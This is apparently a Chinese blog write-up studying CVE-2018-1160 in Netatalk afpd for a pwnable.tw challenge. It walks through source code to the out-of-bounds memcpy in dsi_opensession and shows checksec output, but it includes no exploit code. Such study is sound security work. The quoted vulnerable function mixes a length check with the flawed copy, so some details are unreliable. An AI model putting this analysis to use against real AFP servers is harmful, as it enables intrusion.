Netatalk CVE-2018-1160 复现及漏洞利用思路

> **Caution**
>
> 这个cve的编号是我在pwnable这个上面的一个赛题因此我们这里进行对这个cve的一个学习
>
> 这里我们参考了要给文章地址放在这里下面
>
> Netatalk CVE-2018-1160 复现及漏洞利用思路 - 辰星-cxing - 博客园
>
> pwnable.tw CVE-2018-1160 | gtrboy's blog
>
> [pwnable.tw] CVE-2018-1160 | 小雨亦喧

前提知识

1.1netatalk

netattalk是一个开源的文件服务器，他是基于apple filing protocol协议进行一个通信的，而这个afp协议是苹果开发的一个文件协议，苹果文件服务的一部分

1.2源码分析

因为这个是一个开源的文件服务器，因此师傅们需要去下载一个带源码的漏洞版本进行一个分析这里我会把下载的链接给各位师傅们[Download netatalk-3.1.11.tar.gz (netatalk)](https://sourceforge.net/projects/netatalk/files/netatalk/3.1.11/netatalk-3.1.11.tar.gz/download)

接下来我们分析源码对于理解Netatalk，主模块afpd和AFP协议流量包处理模块libnetatalk。其中afpd主要功能为初始化服务的环境、监听和接受处理请求并为之构建请求处理的环境，而libnetatalk是具体解析和处理dsi流量的。

同时我们应该先看这个afpd这个文件夹中的信息，同时也是从main.c文件开始查看地址实在/etc/afpd/main.c文件下,下面就是他的一个main的源码

```
/*
 * Copyright (c) 1990,1993 Regents of The University of Michigan.
 * All Rights Reserved.  See COPYRIGHT.
 */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif /* HAVE_CONFIG_H */

#include <errno.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/socket.h>
```

```
19  #include <sys/time.h>
20  #include <sys/uio.h>
21  #include <sys/wait.h>
22
23  #include <atalk/adouble.h>
24  #include <atalk/afp.h>
25  #include <atalk/atp.h>
26  #include <atalk/asp.h>
27  #include <atalk/compat.h>
28  #include <atalk/dsi.h>
29  #include <atalk/errchk.h>
30  #include <atalk/globals.h>
31  #include <atalk/logger.h>
32  #include <atalk/nbp.h>
33  #include <atalk/netatalk_conf.h>
34  #include <atalk/server_child.h>
35  #include <atalk/server_ipc.h>
36  #include <atalk/util.h>
37
38  #include "afp_config.h"
39  #include "afpstats.h"
40  #include "fork.h"
41  #include "status.h"
42  #include "uam_auth.h"
43
44  #define ASEV_THRESHHOLD 10
45
46  unsigned char nologin = 0;
47
48  static AFPObj dsi_obj;
49  static AFPObj asp_obj;
50  static server_child_t *server_children;
51  static sig_atomic_t reloadconfig = 0;
52  static sig_atomic_t gotsigchld = 0;
53  static struct asev *asev;
54
55  static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi,
56                                server_child_t *server_children);
57  static int asp_start(AFPObj *obj, server_child_t *server_children);
58  static void asp_cleanup(const AFPObj *obj);
59
60  static void afp_exit(int ret)
61  {
62      exit(ret);
63  }
64
65
66  /* ------------------
67     initialize fd set we are waiting for.
68  */
69  static bool init_listening_sockets(const AFPObj *dsiconfig,
70                                     const AFPObj *aspconfig)
```

```
71  {
72      DSI *dsi;
73      int numlisteners;
74
75      for (numlisteners = 0, dsi = dsiconfig->dsi; dsi; dsi = dsi->next) {
76          numlisteners++;
77      }
78
79      asev = asev_init(dsiconfig->options.connections + numlisteners +
80                       ASEV_THRESHHOLD);
81
82      if (asev == NULL) {
83          return false;
84      }
85
86      for (dsi = dsiconfig->dsi; dsi; dsi = dsi->next) {
87          if (!(asev_add_fd(asev, dsi->serversock, LISTEN_FD, dsi, AFPPROTO_DSI))) {
88              return false;
89          }
90      }
91
92  #ifndef NO_DDP
93
94      if (!(asev_add_fd(asev, aspconfig->fd, LISTEN_FD, 0, AFPPROTO_ASP))) {
95          return false;
96      }
97
98  #endif /* no afp/asp */
99      return true;
100 }
101
102 static bool reset_listening_sockets(const AFPObj *dsiconfig,
103                                     const AFPObj *aspconfig)
104 {
105     const DSI *dsi;
106
107     for (dsi = dsiconfig->dsi; dsi; dsi = dsi->next) {
108         if (!(asev_del_fd(asev, dsi->serversock))) {
109             return false;
110         }
111     }
112
113 #ifndef NO_DDP
114
115     /* only attempt to reset asp socket if we have one */
116     if (aspconfig->fd) {
117         if (!(asev_del_fd(asev, aspconfig->fd))) {
118             return false;
119         }
120     }
121
122 #endif /* no afp/asp */
```

```
    return true;
}

/* ----------------- */
static void afp_goaway(int sig)
{
#ifndef NO_DDP
    asp_kill(sig);
#endif /* ! NO_DDP */

    switch (sig) {
    case SIGTERM:
    case SIGQUIT:
        LOG(log_note, logtype_afpd, "AFP Server shutting down");

        if (server_children) {
            server_child_kill(server_children, SIGTERM);
        }

#ifndef NO_DDP

        if (asp_obj.handle) {
            asp_cleanup(&asp_obj);
        }

#endif /* ! NO_DDP */
        _exit(0);
        break;

    case SIGUSR1 :
        nologin++;
        auth_unload();
        LOG(log_info, logtype_afpd, "disallowing logins");

        if (server_children) {
            server_child_kill(server_children, sig);
        }

        break;

    case SIGHUP :
        /* w/ a configuration file, we can force a re-read if we want */
        reloadconfig = 1;
        break;

    case SIGCHLD:
        /* w/ a configuration file, we can force a re-read if we want */
        gotsigchld = 1;
        break;

    default :
        LOG(log_error, logtype_afpd, "afp_goaway: bad signal");
```

```c
    }

    return;
}

static void child_handler(void)
{
    int fd;
    int status;
    pid_t pid;
#ifndef WAIT_ANY
#define WAIT_ANY (-1)
#endif /* ! WAIT_ANY */

    while ((pid = waitpid(WAIT_ANY, &status, WNOHANG)) > 0) {
        if (WIFEXITED(status)) {
            if (WEXITSTATUS(status)) {
                LOG(log_info, logtype_afpd, "child[%d]: exited %d", pid, WEXITSTATUS(status));
            } else {
                LOG(log_info, logtype_afpd, "child[%d]: done", pid);
            }
        } else {
            if (WIFSIGNALED(status)) {
                LOG(log_info, logtype_afpd, "child[%d]: killed by signal %d", pid,
                    WTERMSIG(status));
            } else {
                LOG(log_info, logtype_afpd, "child[%d]: died", pid);
            }
        }

        fd = server_child_remove(server_children, pid);

        if (fd == -1) {
            continue;
        }

        if (!(asev_del_fd(asev, fd))) {
            LOG(log_error, logtype_afpd, "child[%d]: asev_del_fd: %d", pid, fd);
        }
    }
}

static int setlimits(void)
{
    struct rlimit rlim;

    if (getrlimit(RLIMIT_NOFILE, &rlim) != 0) {
        LOG(log_warning, logtype_afpd, "setlimits: reading current limits failed: %s",
            strerror(errno));
        return -1;
```

```
    }

    if (rlim.rlim_cur ≠ RLIM_INFINITY && rlim.rlim_cur < RLIM_MAX) {
        rlim.rlim_cur = RLIM_MAX;

        if (rlim.rlim_max ≠ RLIM_INFINITY && rlim.rlim_max < RLIM_MAX) {
            rlim.rlim_max = RLIM_MAX;
        }

        if (setrlimit(RLIMIT_NOFILE, &rlim) ≠ 0) {
            LOG(log_warning, logtype_afpd, "setlimits: increasing limits failed: %s",
                strerror(errno));
            return -1;
        }
    }

    return 0;
}

int main(int ac, char **av)
{
    struct sigaction    sv;
    sigset_t            sigs;
    int                 ret;
    /* Parse argv args and initialize default options */
    afp_options_parse_cmdline(&dsi_obj, ac, av);

    if (!(dsi_obj.cmdlineflags & OPTION_DEBUG) && (daemonize() ≠ 0)) {
        exit(EXITERR_SYS);
    }

    /* Log SIGBUS/SIGSEGV SBT */
    fault_setup(NULL);

    if (afp_config_parse(&dsi_obj, "afpd") ≠ 0) {
        afp_exit(EXITERR_CONF);
    }

    /* Save the user's current umask */
    dsi_obj.options.save_mask = umask(dsi_obj.options.umask);

    /* install child handler for asp and dsi. we do this before afp_goaway
     * as afp_goaway references stuff from here.
     * XXX: this should really be setup after the initial connections. */
    if (!(server_children = server_child_alloc(dsi_obj.options.connections))) {
        LOG(log_error, logtype_afpd, "main: server_child alloc: %s", strerror(errno));
        afp_exit(EXITERR_SYS);
    }

#ifndef NO_DDP
```

```
275
276     /* initialize appletalk protocol support if enabled */
277     if (dsi_obj.options.flags & OPTION_DDP) {
278         afp_options_parse_cmdline(&asp_obj, ac, av);
279
280         if (afp_config_parse(&asp_obj, "afpd") != 0) {
281             afp_exit(EXITERR_CONF);
282         }
283     }
284
285 #endif /* no afp/asp */
286     sigemptyset(&sigs);
287     pthread_sigmask(SIG_SETMASK, &sigs, NULL);
288     memset(&sv, 0, sizeof(sv));
289     /* linux at least up to 2.4.22 send a SIGXFZ for vfat fs,
290        even if the file is open with O_LARGEFILE ! */
291 #ifdef SIGXFSZ
292     sv.sa_handler = SIG_IGN;
293     sigemptyset(&sv.sa_mask);
294
295     if (sigaction(SIGXFSZ, &sv, NULL) < 0) {
296         LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
297         afp_exit(EXITERR_SYS);
298     }
299
300 #endif
301     sv.sa_handler = SIG_IGN;
302     sigemptyset(&sv.sa_mask);
303
304     if (sigaction(SIGPIPE, &sv, NULL) < 0) {
305         LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
306         afp_exit(EXITERR_SYS);
307     }
308
309     sv.sa_handler = afp_goaway; /* handler for all sigs */
310     sigemptyset(&sv.sa_mask);
311     sigaddset(&sv.sa_mask, SIGALRM);
312     sigaddset(&sv.sa_mask, SIGHUP);
313     sigaddset(&sv.sa_mask, SIGTERM);
314     sigaddset(&sv.sa_mask, SIGUSR1);
315     sigaddset(&sv.sa_mask, SIGQUIT);
316     sv.sa_flags = SA_RESTART;
317
318     if (sigaction(SIGCHLD, &sv, NULL) < 0) {
319         LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
320         afp_exit(EXITERR_SYS);
321     }
322
323     sigemptyset(&sv.sa_mask);
324     sigaddset(&sv.sa_mask, SIGALRM);
325     sigaddset(&sv.sa_mask, SIGTERM);
326     sigaddset(&sv.sa_mask, SIGHUP);
```

```
    sigaddset(&sv.sa_mask, SIGCHLD);
    sigaddset(&sv.sa_mask, SIGQUIT);
    sv.sa_flags = SA_RESTART;

    if (sigaction(SIGUSR1, &sv, NULL) < 0) {
        LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
        afp_exit(EXITERR_SYS);
    }

    sigemptyset(&sv.sa_mask);
    sigaddset(&sv.sa_mask, SIGALRM);
    sigaddset(&sv.sa_mask, SIGTERM);
    sigaddset(&sv.sa_mask, SIGUSR1);
    sigaddset(&sv.sa_mask, SIGCHLD);
    sigaddset(&sv.sa_mask, SIGQUIT);
    sv.sa_flags = SA_RESTART;

    if (sigaction(SIGHUP, &sv, NULL) < 0) {
        LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
        afp_exit(EXITERR_SYS);
    }

    sigemptyset(&sv.sa_mask);
    sigaddset(&sv.sa_mask, SIGALRM);
    sigaddset(&sv.sa_mask, SIGHUP);
    sigaddset(&sv.sa_mask, SIGUSR1);
    sigaddset(&sv.sa_mask, SIGCHLD);
    sigaddset(&sv.sa_mask, SIGQUIT);
    sv.sa_flags = SA_RESTART;

    if (sigaction(SIGTERM, &sv, NULL) < 0) {
        LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
        afp_exit(EXITERR_SYS);
    }

    sigemptyset(&sv.sa_mask);
    sigaddset(&sv.sa_mask, SIGALRM);
    sigaddset(&sv.sa_mask, SIGHUP);
    sigaddset(&sv.sa_mask, SIGUSR1);
    sigaddset(&sv.sa_mask, SIGCHLD);
    sigaddset(&sv.sa_mask, SIGTERM);
    sv.sa_flags = SA_RESTART;

    if (sigaction(SIGQUIT, &sv, NULL) < 0) {
        LOG(log_error, logtype_afpd, "main: sigaction: %s", strerror(errno));
        afp_exit(EXITERR_SYS);
    }

    /* afp.conf:  not in config file: lockfile, configfile
     *            preference: command-line provides defaults.
     *                        config file over-writes defaults.
     *
```

```
379      * we also need to make sure that killing afpd during startup
380      * won't leave any lingering registered names around.
381      */
382     sigemptyset(&sigs);
383     sigaddset(&sigs, SIGALRM);
384     sigaddset(&sigs, SIGHUP);
385     sigaddset(&sigs, SIGUSR1);
386     sigaddset(&sigs, SIGCHLD);
387     pthread_sigmask(SIG_BLOCK, &sigs, NULL);
388 #ifdef HAVE_DBUS_GLIB
389 
390     /* Run dbus AFP statistics thread */
391     if (dsi_obj.options.flags & OPTION_DBUS_AFPSTATS) {
392         (void)afpstats_init(server_children);
393     }
394 
395 #endif
396 
397     if (configinit(&dsi_obj, &asp_obj) != 0) {
398         LOG(log_error, logtype_afpd, "main: no servers configured");
399         afp_exit(EXITERR_CONF);
400     }
401 
402     pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
403     /* Initialize */
404     cnid_init();
405 
406     /* watch atp, dsi sockets and ipc parent/child file descriptor. */
407     if (!(init_listening_sockets(&dsi_obj, &asp_obj))) {
408         LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
409         afp_exit(EXITERR_CONF);
410     }
411 
412     /* set limits */
413     (void)setlimits();
414     afp_child_t *child;
415     int saveerrno;
416 
417     /* wait for an appleshare connection. parent remains in the loop
418      * while the children get handled by afp_over_{asp,dsi}.  this is
419      * currently vulnerable to a denial-of-service attack if a
420      * connection is made without an actual login attempt being made
421      * afterwards. establishing timeouts for logins is a possible
422      * solution. */
423     while (1) {
424         pthread_sigmask(SIG_UNBLOCK, &sigs, NULL);
425         ret = poll(asev->fdset, asev->used, -1);
426         pthread_sigmask(SIG_BLOCK, &sigs, NULL);
427         saveerrno = errno;
428 
429         if (gotsigchld) {
430             gotsigchld = 0;
```

```
            child_handler();
            continue;
        }

        if (reloadconfig) {
            nologin++;

            if (!(reset_listening_sockets(&dsi_obj, &asp_obj))) {
                LOG(log_error, logtype_afpd, "main: reset socket handlers");
                afp_exit(EXITERR_CONF);
            }

            LOG(log_info, logtype_afpd, "re-reading configuration file");
            configfree(&dsi_obj, NULL);
            afp_config_free(&dsi_obj);
#ifndef NO_DDP
            afp_config_free(&asp_obj);

            if (asp_obj.handle) {
                asp_cleanup(&asp_obj);
                configfree(&asp_obj, NULL);
            }

#endif /* no afp/asp */

            if (afp_config_parse(&dsi_obj, "afpd") != 0) {
                afp_exit(EXITERR_CONF);
            }

#ifndef NO_DDP

            /* initialize appletalk protocol support if enabled */
            if (dsi_obj.options.flags & OPTION_DDP) {
                afp_options_parse_cmdline(&asp_obj, ac, av);

                if (afp_config_parse(&asp_obj, "afpd") != 0) {
                    afp_exit(EXITERR_CONF);
                }
            }

#endif /* no afp/asp */

            if (configinit(&dsi_obj, &asp_obj) != 0) {
                LOG(log_error, logtype_afpd, "config re-read: no servers configured");
                afp_exit(EXITERR_CONF);
            }

            if (!(init_listening_sockets(&dsi_obj, &asp_obj))) {
                LOG(log_error, logtype_afpd, "main: couldn't initialize socket handler");
                afp_exit(EXITERR_CONF);
```

```
            }

            nologin = 0;
            reloadconfig = 0;
            errno = saveerrno;

            if (server_children) {
                server_child_kill(server_children, SIGHUP);
            }

            continue;
        }

        if (ret == 0) {
            continue;
        }

        if (ret < 0) {
            if (errno == EINTR) {
                continue;
            }

            LOG(log_error, logtype_afpd, "main: can't wait for input: %s", strerror(errno));
            break;
        }

        for (int i = 0; i < asev->used; i++) {
            if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
                switch (asev->data[i].fdtype) {
                case LISTEN_FD:
                    switch (asev->data[i].protocol) {
                    case AFPPROTO_DSI:
                        if ((child = dsi_start(&dsi_obj, (DSI *)(asev->data[i].private),
                                                server_children))) {
                            if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child, 0))) {
                                LOG(log_error, logtype_afpd, "out of asev slots");
                                /*
                                 * Close IPC fd here and mark it as unused
                                 */
                                close(child->afpch_ipc_fd);
                                child->afpch_ipc_fd = -1;
                                /*
                                 * Being unfriendly here, but we really
                                 * want to get rid of it. The 'child'
                                 * handle gets cleaned up in the SIGCLD
                                 * handler.
                                 */
                                kill(child->afpch_pid, SIGKILL);
```

```
                            }
                        }

                        break;
#ifndef NO_DDP

                    case AFPPROTO_ASP:
                        asp_start(&asp_obj, server_children);
                        break;
#endif /* no afp/asp */

                    default:
                        LOG(log_debug, logtype_afpd, "main: unknown protocol type");
                        break;
                    }

                    break;

                case IPC_FD:
                    child = (afp_child_t *)(asev->data[i].private);
                    LOG(log_debug, logtype_afpd, "main: IPC request from child[%u]",
                        child->afpch_pid);

                    if (ipc_server_read(server_children, child->afpch_ipc_fd) != 0) {
                        if (!(asev_del_fd(asev, child->afpch_ipc_fd))) {
                            LOG(log_error, logtype_afpd, "child[%u]: no IPC fd");
                        }

                        close(child->afpch_ipc_fd);
                        child->afpch_ipc_fd = -1;
                    }

                    break;

                default:
                    LOG(log_debug, logtype_afpd, "main: IPC request for unknown type");
                    break;
                } /* switch */
            }  /* if */
        } /* for (i)*/
    } /* while (1) */

    return 0;
}

static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi,
                              server_child_t *server_children)
{
```

```c
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit(0);
    }

    return child;
}
#ifndef NO_DDP
static int asp_start(AFPObj *obj, server_child_t *server_children)
{
    ASP asp;

    if (!(asp = asp_getsession(obj->handle, server_children,
                               obj->options.tickleval))) {
        LOG(log_error, logtype_afpd, "main: asp_getsession: %s", strerror(errno));
        exit(EXITERR_CLNT);
    }

    if (asp->child) {
        afp_over_asp(obj);
        exit(0);
    }

    return 0;
}
static void asp_cleanup(const AFPObj *obj)
{
    /* we need to stop tickle handler */
    asp_stop_tickle();
    nbp_unrgstr(obj->Obj, obj->Type, obj->Zone,
                &obj->options.ddpaddr);
}
#endif /* no afp/asp */

```

对于这个段代码在!(init_listening_sockets(&obj))里开始进行监控套接字，下面的while (1)循环就是对消息不断地进行处理，同时(child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))这行代码返回了进程描述符，这里面就开始已经真正开始接收和处理请求了，那么接着阅读这个函数

同时他也调用了这个函数

```c
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi,
                              server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit(0);
    }

    return child;
}
```

而这个函数就是我们调用的一个函数体而我们在掉了这个函数体后又调用getsession的一个调用

```c
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval,
                   afp_child_t **childp)
{
    pid_t pid;
    int ipc_fds[2];
    afp_child_t *child;

    if (socketpair(PF_UNIX, SOCK_STREAM, 0, ipc_fds) < 0) {
        LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
        return -1;
    }

    if (setnonblock(ipc_fds[0], 1) != 0 || setnonblock(ipc_fds[1], 1) != 0) {
        LOG(log_error, logtype_dsi, "dsi_getsess: setnonblock: %s", strerror(errno));
        return -1;
    }

    switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
    case -1:
        /* if we fail, just return. it might work later */
        LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
        return -1;

    case 0: /* child. mostly handled below. */
        break;

```

```
27      default: /* parent */
28          /* using SIGKILL is hokey, but the child might not have
29           * re-established its signal handler for SIGTERM yet. */
30          close(ipc_fds[1]);
31
32          if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {
33              LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
34              close(ipc_fds[0]);
35              dsi->header.dsi_flags = DSIFL_REPLY;
36              dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
37              dsi_send(dsi);
38              dsi->header.dsi_data.dsi_code = DSIERR_OK;
39              kill(pid, SIGKILL);
40          }
41
42          dsi->proto_close(dsi);
43          *childp = child;
44          return 0;
45      }
46
47      /* Save number of existing and maximum connections */
48      dsi->AFPobj->cnx_cnt = serv_children->servch_count;
49      dsi->AFPobj->cnx_max = serv_children->servch_nsessions;
50      /* get rid of some stuff */
51      dsi->AFPobj->ipc_fd = ipc_fds[1];
52      close(ipc_fds[0]);
53      close(dsi->serversock);
54      dsi->serversock = -1;
55      server_child_free(serv_children);
56
57      switch (dsi->header.dsi_command) {
58      case DSIFUNC_STAT: { /* send off status and return */
59          /* OpenTransport 1.1.2 bug workaround:
60           *
61           * OT code doesn't currently handle close sockets well. urk.
62           * the workaround: wait for the client to close its
63           * side. timeouts prevent indefinite resource use.
64           */
65          static struct timeval timeout = {120, 0};
66          fd_set readfds;
67          dsi_getstatus(dsi);
68          FD_ZERO(&readfds);
69          FD_SET(dsi->socket, &readfds);
70          free(dsi);
71          select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);
72          exit(0);
73      }
74      break;
75
76      case DSIFUNC_OPEN: /* setup session */
77          /* set up the tickle timer */
78          dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
```

```c
        dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
        dsi_opensession(dsi);
        *childp = NULL;
        return 0;

    default: /* just close */
        LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
        dsi->proto_close(dsi);
        exit(EXITERR_CLNT);
    }
}
```

同时我们在这里遭到dsi_opensession的一个函数而这个cve也是在这个位置上获得的要给漏洞权限

```c
void dsi_opensession(DSI *dsi)
{
    size_t i = 0;
    uint32_t servquant;
    uint32_t replcsize;
    int offs;
    uint8_t cmd;
    size_t option_len;

    if (setnonblock(dsi->socket, 1) < 0) {
        LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s",
            strerror(errno));
        AFP_PANIC("setnonblock error");
    }

    /* parse options */
    while (i + 1 < dsi->cmdlen) {
        cmd = dsi->commands[i++];
        option_len = dsi->commands[i++];

        if (i + option_len > dsi->cmdlen) {
            LOG(log_error, logtype_dsi, "option %"PRIu8" too large: %zu",
                cmd, option_len);
            exit(EXITERR_CLNT);
        }

        switch (cmd) {
        case DSIOPT_ATTNQUANT:
            if (option_len != sizeof(dsi->attn_quantum)) {
                LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
                    cmd, option_len);
                exit(EXITERR_CLNT);
            }

            memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);//而这里就是我们漏洞发生的一个位置
            dsi->attn_quantum = ntohl(dsi->attn_quantum);
```

```c

        case DSIOPT_SERVQUANT:

        /* just ignore these */
        default:
            break;
        }

        i += option_len;
    }

    /* let the client know the server quantum. we don't use the
     * max server quantum due to a bug in appleshare client 3.8.6. */
    dsi->header.dsi_flags = DSIFL_REPLY;
    dsi->header.dsi_data.dsi_code = 0;
#if 0
    dsi->header.dsi_command = DSIFUNC_OPEN;
#endif
    /* length of data. dsi_send uses it. */
    dsi->cmdlen = 2 * (2 + sizeof(uint32_t));
    /* DSI Option Server Request Quantum */
    dsi->commands[0] = DSIOPT_SERVQUANT;
    dsi->commands[1] = sizeof(servquant);
    servquant = htonl((dsi->server_quantum < DSI_SERVQUANT_MIN ||
                       dsi->server_quantum > DSI_SERVQUANT_MAX) ?
                      DSI_SERVQUANT_DEF : dsi->server_quantum);
    memcpy(dsi->commands + 2, &servquant, sizeof(servquant));
    /* AFP replaycache size option */
    offs = 2 + sizeof(replcsize);
    dsi->commands[offs] = DSIOPT_REPLCSIZE;
    dsi->commands[offs + 1] = sizeof(replcsize);
    replcsize = htonl(REPLAYCACHE_SIZE);
    memcpy(dsi->commands + offs + 2, &replcsize, sizeof(replcsize));
    dsi_send(dsi);
}
```

这句话是向dsi→attn_quantum这里面写入dsi→commands + i + 1，写dsi→commands[i]写这个的大小，那么需要先要去了解一下dsi结构体

```c
typedef struct DSI {
    struct DSI *next;             /*!< 链表指针，用于维护多个监听地址或会话 */
    AFPObj   *AFPobj;             /*!< 指向 AFP 会话对象，DSI 是 AFP 的传输层 */
    int      statuslen;           /*!< 状态字符串长度 */
    char     status[1400];        /*!< 状态信息缓冲区，最大 1400 字节 */
    char     *signature;          /*!< 会话签名，用于认证或唯一标识 */
    struct dsi_block header;      /*!< DSI 协议头部结构 */
    struct sockaddr_storage server, client; /*!< 服务端和客户端的 socket 地址，支持 IPv4/IPv6 */
    struct itimerval timer;       /*!< 定时器，用于超时或心跳检测 */
    int      tickle;              /*!< tickle 计数器，AFP/DSI 心跳包保持连接 */
```

```
    int      in_write;            /*!< 是否正在写多个数据包，避免信号处理器同时写 socket */
    int      msg_request;         /*!< 是否有待发送的消息请求 */
    int      down_request;        /*!< 是否有待处理的 SIGUSR1 下线请求（5分钟后） */

    uint32_t attn_quantum;        /*!< 注意量子，协议参数 */
    uint32_t datasize;            /*!< 数据大小，协议参数 */
    uint32_t server_quantum;      /*!< 服务端量子，协议参数 */
    uint16_t serverID;            /*!< 服务端 ID */
    uint16_t clientID;            /*!< 客户端 ID */
    uint8_t  *commands;           /*!< DSI 接收缓冲区 */
    uint8_t  data[DSI_DATASIZ];   /*!< DSI 回复缓冲区 */
    size_t   datalen;             /*!< 数据长度 */
    size_t   cmdlen;              /*!< 命令长度 */
    off_t    read_count;          /*!< 已读取字节统计 */
    off_t    write_count;         /*!< 已写入字节统计 */
    uint32_t flags;               /*!< 会话标志位，如 DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;              /*!< AFP 会话 socket */
    int      serversock;          /*!< 监听 socket */

    /* DSI 预读缓冲区，用于 dsi_peek 中的缓冲读取 */
    size_t   dsireadbuf;          /*!< 预读缓冲区大小 */
    char     *buffer;             /*!< 缓冲区起始位置 */
    char     *start;              /*!< 当前缓冲区头 */
    char     *eof;                /*!< 当前已使用缓冲区的末尾 */
    char     *end;                /*!< 缓冲区末尾 */
} DSI;

```

这个就是他的一个结构体在这个结构体中我们可以知道我们，我们的commands这个结构大小是一个固定值，是一个uint8_t的一个大小的数据那么只要可以控制dsi→commands[i]的值就可以控制&dsi→attn_quantum往后写多少而最多啊就是可以写255这么多的一个数据那么就是触发了要给越界写，因此我们进行一个赋值

在进入到dsi_opensession函数之前，会隐式的调用dsi_stream_receive函数，

dsi_stream_receive这个函数的作用就是填充dsi结构体，阅读dsi_stream_receive

```
int dsi_stream_receive(DSI *dsi)
{
  char block[DSI_BLOCKSIZ];

  LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: START");

  if (dsi→flags & DSI_DISCONNECTED)
      return 0;

  /* read in the header */
  if (dsi_buffered_stream_read(dsi, (uint8_t *)block, sizeof(block)) ≠ sizeof(block))    ///////////////这部分相当于读取你的输入里面不处理任何赋值 dsi→socket里面存储的网络地址输入过来的信息
    return 0;
```

```c

  dsi->header.dsi_flags = block[0];
  dsi->header.dsi_command = block[1];

  if (dsi->header.dsi_command == 0)
      return 0;

  memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
  memcpy(&dsi->header.dsi_data.dsi_doff, block + 4, sizeof(dsi->header.dsi_data.dsi_doff));
  dsi->header.dsi_data.dsi_doff = htonl(dsi->header.dsi_data.dsi_doff);
  memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));

  memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
  dsi->clientID = ntohs(dsi->header.dsi_requestID);

  /* make sure we don't over-write our buffers. */
  dsi->cmdlen = MIN(ntohl(dsi->header.dsi_len), dsi->server_quantum);

  /* Receiving DSIWrite data is done in AFP function, not here */
  if (dsi->header.dsi_data.dsi_doff) {
      LOG(log_maxdebug, logtype_dsi, "dsi_stream_receive: write request");
      dsi->cmdlen = dsi->header.dsi_data.dsi_doff;
  }

  if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen) ////////////////////////////////////
    return 0;

  LOG(log_debug, logtype_dsi, "dsi_stream_receive: DSI cmdlen: %zd", dsi->cmdlen);

  return block[1];
}
```

Packet structure [edit]

DSI Header[1]

Bit offset	Bits 0–7	8-15	15-23	24-31
0	Flags	Command	Request ID	
32	Error code/ enclosed data offset			
64	Total data length			
96	Reserved			
128	Payload			

对于蓝色部分存储到了block[]中然后再赋值到dsi.header变量中，红色部分通过dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen这个函数将payload字段放到了你的dsi->commond中，至此了解该函数是如何把DSI流量数据填充进 dsi structure

因此这里就出现了任意的一个地址写，所以这个是他漏洞形成的一个原因

而这个题目的手法也就是这个

```
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=afpd
[*] '/home/secreu/netatalk/afpd'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=libc-2.27.so
[*] '/home/secreu/netatalk/libc-2.27.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
(pwn) secreu@Vanilla:~/netatalk$ checksec --file=libatalk.so.18
[*] '/home/secreu/netatalk/libatalk.so.18'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

```

```
/**
 * afpd 守护进程主函数 — 逐行中文注释版
 *
 * afpd (Apple Filing Protocol Daemon) 是 Netatalk 项目的核心组件,
 * 负责在 Linux/Unix 系统上提供苹果文件共享服务 (AFP协议) 。
 *
 * 本文件为 IDA Pro 反编译输出, 经过人工注释整理。
 */

int __fastcall main(int argc, const char **argv, const char **envp)
{
  /* ═══════════════════════════════════════════
